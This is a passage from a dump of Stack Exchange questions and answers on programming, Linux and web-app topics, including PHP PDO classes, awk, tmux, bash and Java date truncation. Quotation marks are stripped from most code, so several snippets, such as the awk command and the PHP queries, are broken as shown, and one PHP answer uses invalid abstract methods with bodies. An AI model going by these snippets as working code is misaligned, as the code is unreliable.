:['bias:\\n4.49469\\nweight:\\n7.85942\\n']In your code above, since you tree base learners, the output will be :['0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=2.85\\n\\t\\t4:leaf=5.85\\n\\t2:leaf=8.85\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=1.995\\n\\t\\t4:leaf=4.095\\n\\t2:leaf=6.195\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=1.3965\\n\\t\\t4:leaf=2.8665\\n\\t2:leaf=4.3365\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.97755\\n\\t\\t4:leaf=2.00655\\n\\t2:leaf=3.03555\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.684285\\n\\t\\t4:leaf=1.40458\\n\\t2:leaf=2.12489\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.478999\\n\\t\\t4:leaf=0.983209\\n\\t2:leaf=1.48742\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.3353\\n\\t\\t4:leaf=0.688247\\n\\t2:leaf=1.04119\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.23471\\n\\t\\t4:leaf=0.481773\\n\\t2:leaf=0.728836\\n', '0:[x<3] yes=1,no=2,missing=1\\n\\t1:[x<2] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.164297\\n\\t\\t4:leaf=0.337241\\n\\t2:leaf=0.510185\\n', '0:[x<2] yes=1,no=2,missing=1\\n\\t1:leaf=0.115008\\n\\t2:[x<3] yes=3,no=4,missing=3\\n\\t\\t3:leaf=0.236069\\n\\t\\t4:leaf=0.357129\\n']Tip : I actually prefer to use xgb.XGBRegressor or xgb.XGBClassifier classes, since they follow the sci-kit learn API. And because sci-kit learn has so many machine learning algorithm implementations, using XGB as an additional library does not disturb my workflow only when I use the sci-kit interface of XGBoost."  } 
{  "id": "_codereview.131558"  , "question": "Following yesterday's advice on my Customer class, I have now created a new class which is for looking up descriptions from a MySQL database. I have a Lookup table which contains type, name, value, and descriptions.Here's a basic example of type = customer and name = stateCustomer StatesNew CustomerPending ApprovalApproved / ActiveDeletedIn this example if I pass in the parameters customer, state, and 2, the method will return Pending Approval.pdo.inc.php<?php// Version 0.1// Last updated 08 Jun 2016define('DB_CONFIG_HOST', 'localhost');define('DB_CONFIG_DB', 'dev');define('DB_CONFIG_USER', 'dev');define('DB_CONFIG_PW', 'dev');$dsn = 'mysql:host=' . DB_CONFIG_HOST . ';dbname=' . DB_CONFIG_DB . ';';define('DB_CONFIG_DSN', $dsn);try{    $pdo = new PDO(DB_CONFIG_DSN, DB_CONFIG_USER, DB_CONFIG_PW);}catch (PDOException $ex){    error_log('Connection failed: ' . $ex->getMessage());    die();}?>lookup.class.php<?php// Version 0.1// Last updated 09 Jun 2016class Lookup{    function __construct($pdo)    {        $this->pdo = $pdo;    }    function getLookup($lookup_type, $lookup_name, $lookup_value)    {        $valid_types = array(customer);        $valid_names = array(state);        if (!in_array($lookup_type, $valid_types))        {            throw new InvalidArgumentException('Lookup type is not a valid');        }        if (!in_array($lookup_name, $valid_names))        {            throw new InvalidArgumentException('Lookup name is not a valid');        }        if (empty($lookup_value) || !is_int($lookup_value) || $lookup_value < 0)        {            throw new InvalidArgumentException('Lookup value is not a valid integer');        }        $query = SELECT lookup_description FROM Lookup WHERE lookup_type = :lookup_type AND lookup_name = :lookup_name AND lookup_value = :lookup_value LIMIT 1;        try        {            $stmt = $this->pdo->prepare($query);            $stmt->bindParam(':lookup_type', $lookup_type);            $stmt->bindParam(':lookup_name', $lookup_name);            $stmt->bindParam(':lookup_value', $lookup_value);            $stmt->execute();            if ($stmt->rowCount() === 0)            {                return false;            }            else            {                return $stmt->fetchColumn();            }        }        catch (PDOException $ex)        {            error_log('Something went wrong in getLookup ' . $ex->getMessage());            return null;        }    }}?>test.php<?php// Version 0.1// Last updated 09 Jun 2016include_once('pdo.inc.php');include_once('lookup.class.php');try{    $l = new Lookup($pdo);}catch (Exception $ex){    echo $ex->getMessage();    die();}try{    echo $l->getLookup(customer, state, 1); // Returns New Customer    echo $l->getLookup(customer, state, 2); // Returns Pending Approval}catch (Exception $ex){    echo $ex->getMessage();    error_log('Customer name lookup failed with: ' . $ex->getMessage());}?>I'm not sure I like the idea of having fixed arrays for looking up valid parameter values. I was thinking of getting a distinct list from MySQL, but as to do that I might as well just pass the query without validation and let it return null. Any thoughts?"  , "title": "Lookup class to get descriptions of values"  , "tags": "php;php5;pdo"  , "accepted_answer": "Having provided an answer to your previous review, I have a mixed bag of reactions towards this latest version.The good:You seem to have embraced the concept of data validation (though conspicuously missing in your constructor to Lookup class).Your usage of try-catch seems appropriate (with one possible exception I will note below).I think you are handling the PDO dependency in the class in a much better manner now, by storing the connection on the object.Possible points of concern:First and foremost it now more unclear to me what sort of approach you are trying to take to this class definition.  Before you had a customer class, now you have a lookup class.  What are you really trying to do?  Are you trying to establish a factory pattern whereby you can query a set of records and return appropriate object representations?  If so, why no object class now.  Since I don't know your full use case here, I will not get into what the interface design may look like for a factory and will instead still with a single class implementation, as I see nothing in your question that would suggest you are actually trying to work with collections of customers (but rather single customer instances).To this end, I will begin to talk in terms of creating an object relational mapping class that allows you to instantiate a single customer object based on a provided ID and have access to whatever properties on the customer object that may be appropriate.  You may want that customer class to look like this:<?php// Version 0.1// Last updated 09 Jun 2016class Customer{    protected $customerId;    protected $firstName;    protected $lastName;    protected $state;    // any other properties from DB table you want to capture on this object.    public abstract function getCustomerById(PDO $pdo, $customerId) {        if(!self::validateCustomerIdFormat($customerId) {            throw new InvalidArgumentException(                '$customer_id is not a valid integer' .                 ' Value provided: ' . var_export($customerId, true)            );        }        $query = SELECT                    customer_id AS customerId,                    first_name AS firstName,                    last_name AS lastName,                    state Lookup                    /* any other properties along with alias to property name */                  FROM customer                  WHERE customer_id = :customer_id                  LIMIT 1; // limit not needed if customer_id is unique        try {            $stmt = $pdo->prepare($query);            $stmt->bindParam(':customer_id', $customerId);            $stmt->execute();            // return saturated instance of this class            // no need for row count check here            // as this method returns false if there are no records            // remaining in result set                 return $stmt->fetchObject(__CLASS__);        } catch (PDOException $ex) {            // note here that I have decided just to rethrow the exception            // rather then returning null as in previous example            // this is because if there is a problem with underlying PDO object            // there is nothing really this class can do (a terminal exception)            error_log('Something went wrong in getCustomerById' . $ex->getMessage());            throw $ex;        }    }    // constructor has been made private    // to force use of abstract method to instantiate class    private function __construct($customer_id) {    }    // have added a public abstract validation function around customer ID    // the allows single place to configure validation rules    // and can be used outside object context for validating customer ID     // format anywhere in the application    public abstract function validateCustomerIdFormat($customerId) {        if (empty($customerId) || !is_int($customerId) || $customerId < 0) {            return false;        }        return true;    }}?>In this case, your calling code might look like:include_once('pdo.inc.php');include_once('customer.class.php');try{    $customer1 = Customer::getCustomerById($pdo, 1);    $customer2 = Customer::getCustomerById($pdo, 2);}catch (Exception $ex){    echo $ex->getMessage();    error_log('Customer ID lookup failed with: ' . $ex->getMessage());}// conditional needed here are Customer::getCustomerById can return false// if no match found// here we simply echo out the customer's state informationif($customer1) {    echo $customer1->state;}if($customer2) {    echo $customer2->state;}The one minor quibble I have about your try-catch usage is that you might consider splitting the instantiation of each customer object into separate try-catch block depending on your need to granularly perform different catch block activities on each. I didn't show that in my example, because I know your test.php is just a proof of concept. But in the real world, if you needed to instantiate two customer objects, you might want to handle cases where either one fail independently."  } 
{  "id": "_reverseengineering.12767"  , "question": "im wondering if anyone knows how i would go about finding references to a buffer in memory, the scenario is that i have found the buffer that the program receives from a server, the buffer is encoded so im trying to find the routine that is going to decode it, i know its possible since people have done it in the past and im just trying to re-create it to learn.Anyways so i tried placing a hardware breakpoint on the buffer but it only gets hit like 3-4 times and none of them really copy the buffer or modify it in any way :/ so im wondering if im not finding all references to the buffer ? and how one would go about this in general."  , "title": "Tracing what references a buffer in memory using Olly?"  , "tags": "ollydbg;memory;tracing"  } 
{  "id": "_unix.385729"  , "question": "In Linux Mint 18.2, the default path selector looks like this:I want it to look like this:So I went opened up dconf-editor and changed org.gtk.settings.filechooser location-mode from path-bar to filename-entry. Unfortunately, this didn't have any effect, and when I opened up dconf-editor later, it had reverted back to path bar. So then I used gsettings to do it myself:gsettings set org.gtk.Settings.FileChooser location-mode filename-entryI tried this both with and without sudo. After running the command, gsettings get said that it did indeed take effect and was now set to filename-entry. Excited, I opened up gedit to test this, but was dismayed to find it was still the path bar and not filename-entry. Perplexingly, after closing the file-chooser in gedit, gsettings get now showed that location-mode had reverted to path-bar.After trying this a few times, I determined that closing the file-chooser causes the setting to revert.How can I get the file-chooser to use the path bar?"  , "title": "Linux Mint file-chooser: show filename-entry instead of path-bar?"  , "tags": "linux mint;gsettings"  } 
{  "id": "_unix.244183"  , "question": "Here is my example snippettext=Var 1 is ${one}, Var 2 is ${two}, Var 3 is ${three}for (( i=0 ; i<1 ; i++ ))do one=one two=two three=three echo ${text}donereturnsVar 1 is , Var 2 is , Var 3 isand if I change the code to this, it works as expected:text=Var 1 is ${one}, Var 2 is ${two}, Var 3 is ${three}for (( i=0 ; i<1 ; i++ ))do one=one two=two three=three echo Var 1 is ${one}, Var 2 is ${two}, Var 3 is ${three}done"  , "title": "Global variable referencing variables in a for loop is not set correctly"  , "tags": "bash;shell script"  , "accepted_answer": "This happens because at the moment you set the 'text' variable, all the others are empty, defaulting to empty string .Try setting text as you command and save it with (') and not with () so bash doesn't evaluate you expression, then if you do.$ text='echo var1 = $one var2 = $two' $ one=hi$ two=byethen eval $text will return var1 = hi var2 = bye"  } 
{  "id": "_codereview.5241"  , "question": "I wrote this palindrome extractor.  And even though it works, and I can solve the challenge with it, it feels very Java-like. I was wondering what adjustments I could make in order for it to be more functional.import collection.mutable._object Level1 {    def palindrome(input:String) = input.reverse == input    def extractPalindromes(input:String) =     {        var counter = 0        val palindromes = new ListBuffer[String]()        while(counter < input.length)        {            var localCounter = 2            while((counter + localCounter) < input.length)            {                //println(counter:+counter+ localCounter:+localCounter)                val tempString = input.substring(counter, input.length - localCounter)                if(palindrome(tempString)) palindromes += tempString                localCounter += 1            }                   counter += 1        }        palindromes    }    def main(args:Array[String]) = {        val input = I like racecars that go fast        extractPalindromes(input).filter(_.length > 4).foreach(println)    }}"  , "title": "More functional way of writing this palindrome extractor?"  , "tags": "scala;palindrome"  , "accepted_answer": "It can be as simple as:scala> val str =  I like racecars that go faststr: java.lang.String = I like racecars that go fastscala> for { i <- 2 to str.size; s <- str.sliding(i) if s == s.reverse} yield sres5: scala.collection.immutable.IndexedSeq[String] = Vector(cec, aceca, racecar)"  } 
{  "id": "_cogsci.13016"  , "question": "While reading, I tend to subvocalize what I have read. I feel this as disturbing, but as many people do this, there must be a reason why the brain does this. So, what is subvocalization good for?"  , "title": "What is subvocalization good for?"  , "tags": "cognitive psychology"  , "accepted_answer": "It should be pointed out that subvocalisation while reading is not necessarily of the same cause or purpose as subvocalisation while doing other activities. Many people are able (or accustomed) to comprehending written language only by converting it to spoken language mentally. This allows the interpretation process to share the same brain regions, as opposed to using one modality for reading and another for listening. Naturally some people are more prone to logical (read: serialised) thinking while others are more prone to visual (read: parallel) thinking. Those individuals prone to logical thinking are more likely to subvocalise while reading since this allows the reading process to correspond well with one's usual way of thinking. The reverse should be true for those accustomed to visual thinking.The act of subvocalising while doing non-reading activities is probably similar in that it may allow the thinking to be of one's usual modality (logical). Taking it further, however, subvocalisation is a way of putting thoughts into words. It is common knowledge that when you put an understanding into your own words you are more likely to develop a lasting memory. This is presumably because explaining something in words requires that the ideas be organised in a coherent fashion, as opposed to possessing merely a superficial glimpse of awareness. To think about it another way, putting thoughts into words creates durable mental objects that can then be stored away into memory."  } 
{  "id": "_unix.352734"  , "question": "I wrote a compressing command in Ubuntu. However,the zip file produced also contain path folder leading to the target file in form of folder. I only need the target file alone in the zip file. This is the code I currently using.zip -9pr /mnt/test/Raimi/temp/Testing.zip /home/tect/Loco/*txtwhere mnt/test/Raimi/temp is the destination folder Testing.zip is the output I intended to produced and /home/tect/Loco is the Original file located.Please help pointed out a fault in my command if found.Thank you in advance."  , "title": "Create zip file without folder path"  , "tags": "filenames;zip"  } 
{  "id": "_unix.307696"  , "question": "How can I increase the display time of the pane numbers seen with ctrl-b q?When having lots of panes, it is sometimes not enough time to key in the one I want to switch to."  , "title": "How to increase tmux pane numbers display time `ctrl-b q`"  , "tags": "tmux"  , "accepted_answer": "You can set it in an existing session with ctrl-b :set display-panes-time 2000 for 2 seconds for example. To persist it put the comand into your ~/.tmux.confset -g display-panes-time 2000This is documented in the tmux manpage (man tmux) under OPTIONS: display-panes-time time    Set the time in milliseconds for which the indicators shown by the display-panes command appear."  } 
{  "id": "_unix.345804"  , "question": "When vmsplice(4) is used with SPLICE_F_GIFT it is promised that my process won't modify the underlying page(s) I gift. The normal work flow I'm informed is:/*pseudo code don't kill me*/void* page = memmap();vmsplice(page, SPLICE_F_GIFT);free(page);But this requires me to invalidate my TLB every time I gift a page. Which nicely negates any performance gain I get from not copying the data.So how can I know the kernel is done with my page? As I can simply not free the page right?I'm assuming for a use case like: vmsplice -> pipe -> splice -> tcpsocketI would wait for a response, at which point the kernel will flush its SEND buffer and my page will be mine again?"  , "title": "When can I modify a page that was GIFT'd to vmsplice?"  , "tags": "linux;pipe;memory;ram"  } 
{  "id": "_unix.186752"  , "question": "The issue I encounterWhen working on Android-Studio, Eclipse or even command-line Gradle, the Java software often freezes (even though usually it is after I update my system/change java). For Android-Studio and Eclipse, if I move to another desktop and come back, then it becomes a gray window and the interface never comes back, even after hours. I suppose it is a Java issue.It does not always happen: I usually don't have any problem for weeks until it appears again. I don't understand what makes it stop: when it happens, I try to reboot my computer, change my Java JDK version, but it does not change anything. Then one day, I boot my computer and the problem has disappeared - for the next few weeks.What I can observeOne CPU always stays at 100%I cannot make a thread dump of Android-Studio (as described here): it freezes as well.If I run a big C++ compilation while Android-Studio/Eclipse/Gradle is freezing (i.e. a compilation that takes all of my CPUs), then it stops freezing and I can continue my work until the next time (but it happens extremely often).What I triedI tried another Window Manager: I could reproduce the bug on XMonad and FluxboxI tried to export _JAVA_AWT_WM_NONREPARENTING=1 in /etc/profile.d/jre.shI tried to switch between java-7-jdk, java-7-openjdk, java-8-jdk, java-8-openjdkI tried to run wmname LG3DI tried to run pkill -e adb, as advised in the commentsI tried to jmap <pid> on the <pid> of Android Studio, but I have a DebuggerException: Can't attach to the processI tried to jcmd <pid> GC.run on the <pid> of Android Studio, but I have a DebuggerException: Can't attach to the process and Unable to open socket file: target process not responding or HotSpot VM not loaded.I tried to remove my .gradle directoryI tried to Invalidate and Restart Android Studio (but the problem does not look to be unique to Android Studio since I experienced it with Eclipse, too)My configurationI am on Arch Linux (but a similar issue has been reported on Linux Mint) with Awesome WM (I experience the same with XMonad and Fluxbox). As far as I remember, it has always been happening on this machine (I changed in October 2014). Before this, it was working on Debian (but with Awesome WM as well). I have updated Android-Studio many times (from around 0.8 to the latest version).What could be happening? Or how can I figure out?Related problemsI have recently found this post talking about a similar problem. I tried what he advises (i.e. I tried export LD_ASSUME_KERNEL=2.4.1; android-studio) but then Android Studio does not start at all. Is it possible that I also have a problem with NPTL?"  , "title": "Java process freezes until I use 100% CPU"  , "tags": "arch linux;java;eclipse;intellij"  , "accepted_answer": "I never found the answer to this question, but this problem hasn't occured in months (maybe a year?).I guess something fixed it, somehow.I will therefore close the question now."  } 
{  "id": "_unix.153518"  , "question": "I have to cross compile opensawn for a OMAP4 Board and GMP is prerequisite. First I tried it on 64 bit OS but it gave me this error:configure: error: Oops, mp_limb_t is 64 bits, but the assembler code in this configuration expects 32 bits.Then I shifted to Ubuntu 12.04 32 Bit and the GMP V6.0.0 got compiled after few trials. Even after having the ARCH, TOOLCHAIN and CROSS_COMPILER variables in .bashrc I had to export the following:export ARCH=arm<BR>export PATH=/home/harsh32bit/Work/Projects/BSQ_VVDN/BISQUARE/gcc-SourceryCodeBenchLite-arm/bin/:$PATH<BR>export CROSS_COMPILE=arm-none-linux-gnueabi-<BR>Then following commands were observed:./configure --build=i686-pc-linux-gnu --host=arm-none-linux-gnueabi --prefix=/home/harsh32bit/Work/Projects/BSQ_VVDN/BISQUARE/gcc-SourceryCodeBenchLite-arm/make cleanmakemake installThen Soft-linking GMP Library to Toolchain~/Work/Projects/BSQ_VVDN/BISQUARE/gcc-SourceryCodeBenchLite-arm/lib/gcc/arm-none-linux-gnueabi/4.7.3  # ln -s ~/Work/Projects/BSQ_VVDN/packages/gmp-6.0.0/.libs/libgmp.so libgmp.soI had the GMP compiled successfully although the make check reported all test failed.9 of 9 tests failed.Now when I try to cross compile Openswan-2.6.41 after making changes in CROSSCOMPILE.sh and do this make programs I get this error:In file included from /home/harsh32bit/Work/Projects/BSQ_VVDN/packages/openswan-2.6.41/include/certs.h:24:0,from /home/harsh32bit/Work/Projects/BSQ_VVDN/packages/openswan-2.6.41/lib/libopenswan/id.c:42:      /home/harsh32bit/Work/Projects/BSQ_VVDN/packages/openswan-2.6.41/include/secrets.h:20:41: fatal error: gmp.h: No such file or directory      compilation terminatedI have gone to TI E2E site for this, sniffed internet for pointers in last 4 weeks but I couldn't figure out. If anyone has any clue about cross compiling openswan and GMP please advise me."  , "title": "Cross Compile GMP and Openswan for ARM"  , "tags": "ubuntu;arm;cross compilation"  } 
{  "id": "_codereview.105744"  , "question": "I would use the same RecyclerView.Adapter with two or more different fragments. Every fragment uses a different view items layout so I must use a different RecyclerView.ViewHolder for binding the data.For the implementation I have created one RecycleView.ViewHolder that binds the two different view layout with a switch but I think might be something better for this kind of situation.public class TFViewHolder extends RecyclerView.ViewHolder  {    public final static int LAYOUT_ONE = 1;    public final static int LAYOUT_TWO = 2;    public Integer mId;    public ImageView mThumb;    public TextView mName;    public TextView mTitle;    public TextView mDescription;    public final View mView;    public TFViewHolder(View itemView, int layoutType) {        super(itemView);        mView = itemView;        switch (layoutType) {            case LAYOUT_ONE:                mThumb = (ImageView) itemView.findViewById(R.id.thumb);                mName = (TextView) itemView.findViewById(R.id.name);                break;            case LAYOUT_TWO:                mTitle = (TextView) itemView.findViewById(R.id.title);                mDescription = (TextView) itemView.findViewById(R.id.description);                break;        }        itemView.setTag(itemView);    }}The RecyclerView.Adapter:public class TFRecyclerViewAdapter extends RecyclerView.Adapter<TFViewHolder> {    protected Context context;    protected List items;    private int layout;    private int layoutType;    public TFRecyclerViewAdapter(Context context) {        this.context = context;    }    public TFRecyclerViewAdapter(Context context, int layout, int layoutType) {        this(context);        this.layout = layout;        this.layoutType = layoutType;    }    public void setItems(List items){        this.items = items;    }    @Override    public void onBindViewHolder(final TFViewHolder holder, final int position) {        holder.mId = position;    }    @Override    public TFViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {        LayoutInflater inflater = LayoutInflater.from(parent.getContext());        View itemView = inflater.inflate(layout, parent, false);        return new TFViewHolder(itemView, layoutType);    }    @Override    public int getItemCount() {        int l = 0;        if (items != null) {            l = items.size();        }        return l;    }  }Two different adapters that extend the TFRecyclerViewAdapter of above:public class TFNewsRecyclerViewAdapter extends TFRecyclerViewAdapter {    public TFNewsRecyclerViewAdapter(Context context, int layout) {        super(context, layout, TFViewHolder.LAYOUT_NEWS);    }    @Override    public void onBindViewHolder(TFViewHolder holder, int position) {        final News item = (News) items.get(position);        holder.mTitle.setText(item.getTitle());        holder.mDescription.setText(item.getDescription());        super.onBindViewHolder(holder, position);    }}andpublic class TFTeamsRecyclerViewAdapter extends TFRecyclerViewAdapter {    public TFTeamsRecyclerViewAdapter(Context context, int layout) {        super(context, layout, TFViewHolder.LAYOUT_TEAMS);    }    @Override    public void onBindViewHolder(TFViewHolder holder, int position) {        final Team team = (Team) items.get(position);        Glide.with(holder.mThumb.getContext())                .load(team.getThumb())                .fitCenter()                .crossFade()                .into(holder.mThumb);        holder.mName.setText(team.getName());        super.onBindViewHolder(holder, position);    }}"  , "title": "Using the same RecyclerView.Adapter with a different ViewHolder"  , "tags": "java;design patterns;android"  } 
{  "id": "_unix.271140"  , "question": "Ideally I'd like a command like thisrm --only-if-symlink link-to-filebecause I have burned myself too many times accidentally deleting the file instead of the symlink pointing to the file. This can be especially bad when sudo is involved. Now I do of course do a ls -al to make sure it's really a symlink and such but that's vulnerable to operator error (similarly named file, typo, etc) and race conditions (if somebody wanted me to delete a file for some reason). Is there some way to check if a file is a symlink and only delete it if it is in one command?"  , "title": "Remove file, but only if it's a symlink"  , "tags": "bash;command line;rm"  , "accepted_answer": " $ rm_if_link(){ [ ! -L $1 ] || rm -v $1; } #test $ touch nonlink; ln -s link $ rm_if_link nonlink $ rm_if_link link   removed 'link'     "  } 
{  "id": "_webapps.72748"  , "question": "The error message says:You need to figure out how to change the encoding scheme from Windows Hebrew to UTF or vise versa.How do I fix Hebrew encoding on Gmail for emails I receive as per example below:~~~~~~~~~~~~~ Message 4 of 23 ~~~~~~~~~~~~~ From:Time:  Wed, 7 Jan 2015 20:58:51 +0200 Subject:         .   '  ,              .  .    ,     8.              ,     With great gratitude. To hakadosh barichhu. And with much joy in our heart we ask u to join us in the engagement  celebration of David and Natalie Thursday. night 8pm in the Young Israel of ginot. Shomron. Come with joy,this is a personal invitation. To  1 and all Reply-to-sender: mailto:subject %20  %20 %20Reply-to-list: mailto:subject %20  %20 %20"  , "title": "Hebrew encoded mail does not display correctly"  , "tags": "email;gmail"  } 
{  "id": "_cs.72538"  , "question": "I was reading how to find the Lowest common ancestor in a DAG. A DAG can have scenarios where the LCA yields multiple solutions and I feel the accepted answer explains that pretty well.However, one of the answers also mentions a paper that talks about because of the given scenario above, for DAGs there may be cases where you would want to find the lowest SINGLE common ancestor.From the limited Abstract linked in the answer above, the paper says this:We derive a new generalization of lowest common ancestors (LCAs) in dags, called the lowest single common ancestor (LSCA). We show how to preprocess a static dag in linear time such that subsequent LSCA-queries can be answered in constant time. The size is linear in the number of nodes.We also consider a fuzzy variant of LSCA that allows to compute a node that is only an LSCA of a given percentage of the query nodes. The space and construction time of our scheme for fuzzy LSCAs is linear, whereas the query time has a sub-logarithmic slow-down. This fuzzy algorithm is also applicable to LCAs in trees, with the same complexities.Clarification I will look more into this to confirm this is what LSCA is but given the picture belowThe LCA of this picture for nodes 8 and 9 is straight forward (it would be 6) but for nodes 3 and 4, the LCA could yield either 1 or 2 because they are at the same level and are both common ancestors. In this case, perhaps it makes more sense to find the LSCA which would be 0 since its the single ancestor of the two.Specifically I would like to know:How does finding the LSCA of a DAG affect time complexity compared to finding the LCA which could yield multiple solutions and what are the best methods to achieve it?"  , "title": "Lowest single common ancestor in a Directed Acyclic Graph?"  , "tags": "algorithms;trees;dag"  } 
{  "id": "_webapps.74243"  , "question": "I found this Google extension in Google Web Store https://chrome.google.com/webstore/detail/profile-visitors-for-face/ihjbpjahiibmjdlcgodcnmpelpmilamk?hl=enIt promises that one can see who visits his profile in Facebook. Does it work? Or will the others see that I use it?"  , "title": "Does this Chrome extension of reporting who visits your Facebook profile work?"  , "tags": "facebook"  } 
{  "id": "_unix.218896"  , "question": "I have file separetd by pipe | and I want that when column 6 contain letter I print 0758000 in column 7 andwhen the column 6 contain letter A print 0800000 in column 7, I can not find how to do it!!!Example:Original filecat file1.txtZ89|EEE333333|100001|JANMC84|19990101|I|1800040Z89|EEE444444|200001|JANMC84|19990101|I|1800040Z89|EEE222222|300001|JANMC84|19990101|A|1800040Z89|EEE555555|700001|JANMC84|19990101|A|1800040The result should be:Z89|EEE333333|100001|JANMC84|19990101|I|0758000Z89|EEE444444|200001|JANMC84|19990101|I|0758000Z89|EEE222222|300001|JANMC84|19990101|A|0800000Z89|EEE555555|700001|JANMC84|19990101|A|0800000"  , "title": "How to replace value for a given condition in specific column of file"  , "tags": "text processing;sed;awk;replace;text formatting"  , "accepted_answer": "You can do it with awk likeawk -F\\| 'BEGIN {OFS=FS} $6 == A {$7 = 0800000} $6 == I {$7 = 0758000}; 1' file1.txtThis will have awk split fields based on |, then set the output field separator to also be | when we write the lines back out.  Then if the sixth field, $6, is A replace the seventh field with a particular value, and a different value if it's an I.  Then print the line out at the end, with our changes if we made any."  } 
{  "id": "_softwareengineering.329415"  , "question": "I am new to the Java 8 time package, and am trying to better understand it and make sure that I am making good use of it.Is there a specific reason that LocalDateTime's truncatedTo(TemporalUnit) does not support ChronoUnit values past Days.I think I put together a successful implementation of such a method, but had concerns with integer division and floating point arithmetic anomalies. Is this something I should be concerned with?Also, I understand them making LocalDateTime and LocalDate both immutable Objects meaning that LocalDateTime cannot extend LocalDate, but I don't see them sharing a common interface for all the date components of LocalDateTime, making it hard to understand why they did this. The only common interfaces I can see is Temporal, TemporalAccessor, and TemporalAdjuster.If they shared a common interface for the date and time components, then you could easily write code to the interface that can use both LocalDate and LocalDateTime instances for things that modify the date without caring about the time part of the instance during runtime. Is there a good reason for them not doing this, or am I missing something here?Here is my implementation of the aforementioned way to truncate LocalDateTime beyond DAYS:public static LocalDateTime truncateDate(LocalDateTime date, ChronoUnit unit) {    LocalDateTime truncatedDate = null;    // LocalDateTime only supports truncatedTo(TemporalUnit) up to ChronoUnit.DAYS.    switch (unit) {        case NANOS:        case MICROS:        case MILLIS:        case SECONDS:        case MINUTES:        case HOURS:        case HALF_DAYS:        case DAYS:            truncatedDate = date.truncatedTo(unit);            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        default: // else; we can't use LocalDateTime.truncatedTo(TemporalUnit) past ChronoUnit.DAYS, so lets truncate up to DAYS and continue from there.            truncatedDate = date.truncatedTo(ChronoUnit.DAYS);            break;    }    int year = 0;    switch (unit) {        case WEEKS:            truncatedDate = truncatedDate.plus(DayOfWeek.MONDAY.getValue()-truncatedDate.getDayOfWeek().getValue(), ChronoUnit.DAYS); // subtract days to the last Monday.            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        case MONTHS:            truncatedDate = truncatedDate.with(TemporalAdjusters.firstDayOfMonth());            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        case YEARS:            truncatedDate = truncatedDate.with(TemporalAdjusters.firstDayOfYear());            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        case DECADES:            truncatedDate = truncatedDate.with(TemporalAdjusters.firstDayOfYear());            year = truncatedDate.getYear();            int decadeYear = (year/10)*10; // int division rounds down, same as trunc(year/10)*10.            truncatedDate = truncatedDate.plus(decadeYear-year, ChronoUnit.YEARS);            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        case CENTURIES:            truncatedDate = truncatedDate.with(TemporalAdjusters.firstDayOfYear());            year = truncatedDate.getYear();            int centuryYear = (year/100)*100; // int division rounds down, same as trunc(year/100)*100.            truncatedDate = truncatedDate.plus(centuryYear-year, ChronoUnit.YEARS);            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        case MILLENNIA:            truncatedDate = truncatedDate.with(TemporalAdjusters.firstDayOfYear());            year = truncatedDate.getYear();            int millenniumYear = (year/1000)*1000; // int division rounds down, same as trunc(year/1000)*1000.            truncatedDate = truncatedDate.plus(millenniumYear-year, ChronoUnit.YEARS);            System.out.println(date = ' + String.valueOf(date) + ', unit = ' + String.valueOf(unit) + ', truncatedDate = ' + String.valueOf(truncatedDate) + '.);            return truncatedDate; // break;        default: // ChronoUnit.ERA || ChronoUnit.FOREVER:            throw new UnsupportedTemporalTypeException(Unable to truncate to unit = ' + String.valueOf(unit) + ', not well supported!);    } // all switch paths return or throw an exception.}With the following output from a main test program:$ java Maindate = '2016-08-26T10:51:58.828'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Nanos'.date = '2016-08-26T10:51:58.828', unit = 'Nanos', truncatedDate = '2016-08-26T10:51:58.828'.  => result = '2016-08-26T10:51:58.828'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Micros'.date = '2016-08-26T10:51:58.828', unit = 'Micros', truncatedDate = '2016-08-26T10:51:58.828'.  => result = '2016-08-26T10:51:58.828'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Millis'.date = '2016-08-26T10:51:58.828', unit = 'Millis', truncatedDate = '2016-08-26T10:51:58.828'.  => result = '2016-08-26T10:51:58.828'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Seconds'.date = '2016-08-26T10:51:58.828', unit = 'Seconds', truncatedDate = '2016-08-26T10:51:58'.  => result = '2016-08-26T10:51:58'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Minutes'.date = '2016-08-26T10:51:58.828', unit = 'Minutes', truncatedDate = '2016-08-26T10:51'.  => result = '2016-08-26T10:51'.Truncating date = '2016-08-26T10:51:58.828' by unit = 'Hours'.date = '2016-08-26T10:51:58.828', unit = 'Hours', truncatedDate = 